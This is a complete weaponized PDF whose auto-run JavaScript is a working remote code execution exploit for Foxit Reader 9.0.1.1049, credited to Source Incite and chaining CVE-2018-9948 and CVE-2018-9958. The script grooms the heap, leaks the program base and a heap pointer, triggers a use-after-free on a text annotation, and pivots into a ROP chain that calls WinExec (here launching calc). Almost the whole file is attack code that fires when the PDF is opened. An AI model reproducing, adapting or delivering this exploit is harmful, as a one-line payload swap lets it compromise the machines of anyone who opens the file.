%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (/*
Foxit Reader Remote Code Execution Exploit
==========================================
Written by: Steven Seeley (mr_me) of Source Incite
Date: 22/06/2018
Technical details: https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html
Download: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
Target version: Foxit Reader v9.0.1.1049 (sha1: e3bf26617594014f4af2ef2b72b4a86060ec229f)
Tested on:
1. Windows 7 Ultimate x86 build 6.1.7601 sp1
2. Windows 10 Pro x86 v1803 build 10.0.17134
Vulnerabilities leveraged:
1. CVE-2018-9948
2. CVE-2018-9958
*/var heap_ptr = 0;var foxit_base = 0;var pwn_array= [];function prepare_heap(size){/*
This function prepares the heap state between allocations
and frees to get a predictable memory address back.*/var arr = new Array(size);for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;if(typeof arr[i] == "object"){
arr[i].destroy();}}}functiongc(){/*
This is a simple garbage collector, written by the notorious @saelo
Greetz,mi amigo.*/
const maxMallocBytes = 128 * 0x100000;for(var i = 0; i < 3; i++){var x = new ArrayBuffer(maxMallocBytes);}}function alloc_at_leak(){/*
This is the function that allocates at the leaked address
*/for(var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));}}function control_memory(){/*
This is the function that fills the memory address that we leaked
*/for(var i = 0; i < 0x64; i++){for(var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23;// push ecx; pop esp; pop ebp; ret 4
}}}function leak_vtable(){/*
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
Found by: bit from meepwn team
*/// alloc
var a = this.addAnnot({type: "Text"});// free
a.destroy();gc();// kinda defeat lfh randomization in win 10
prepare_heap(0x400);// reclaim
var test = new ArrayBuffer(0x60);var stolen = new Int32Array(test);// leak the vtable
var leaked = stolen[0] & 0xffff0000;// a hard coded offset to FoxitReader.exe base v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)
foxit_base = leaked - 0x01f50000;}function leak_heap_chunk(){/*
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
Found by: bit from meepwn team
*/// alloc
var a = this.addAnnot({type: "Text"});// free
a.destroy();// kinda defeat lfh randomization in win 10
prepare_heap(0x400);// reclaim
var test = new ArrayBuffer(0x60);var stolen = new Int32Array(test);// alloc at the freed location
alloc_at_leak();// leak a heap chunk of size 0x40
heap_ptr = stolen[1];}function reclaim(){/*
This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability.
All gadgets are from FoxitReader.exe v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)*/var arr = new Array(0x10);for(var i = 0; i < arr.length; i++){
arr[i] = new ArrayBuffer(0x60);var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr;// pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09;// xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272;// junk
rop[0x03] = foxit_base + 0x00001450// pop ebp; ret
rop[0x04] = 0xffffffff;// ret of WinExec
rop[0x05] = foxit_base + 0x0069a802;// pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c;// IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0;// mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e;// xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6;// pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca;// ret
rop[0x0b] = foxit_base + 0x000254fc;// pushad; ret
rop[0x0c] = 0x636c6163;// calc
rop[0x0d] = 0x00000000;// adios, amigo
for(var j = 0x0e; j < rop.length; j++){
rop[j] = 0x71727374;}}}function trigger_uaf(){/*
Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability
ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958
Found by: Steven Seeley (mr_me) of Source Incite
*/var that = this;var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});var arr = [1];
Object.defineProperties(arr,{"0":{
get: function(){// free
that.getAnnot(0,"uaf").destroy();// reclaim freed memory
reclaim();return 1;}}});// re-use
a.point = arr;}function main(){// 1. Leak a heap chunk of size 0x40
leak_heap_chunk();// 2. Leak vtable and calculate the base of Foxit Reader
leak_vtable();// 3. Then fill the memory region from step 1 with a stack pivot
control_memory();// 4. Trigger the uaf, reclaim the memory, pivot to rop and win
trigger_uaf();}if(app.platform == "WIN"){if(app.isFoxit == "Foxit Reader"){if(app.appFoxitVersion == "9.0.1.1049"){
main();}}})>> trailer <</Root 1 0 R>>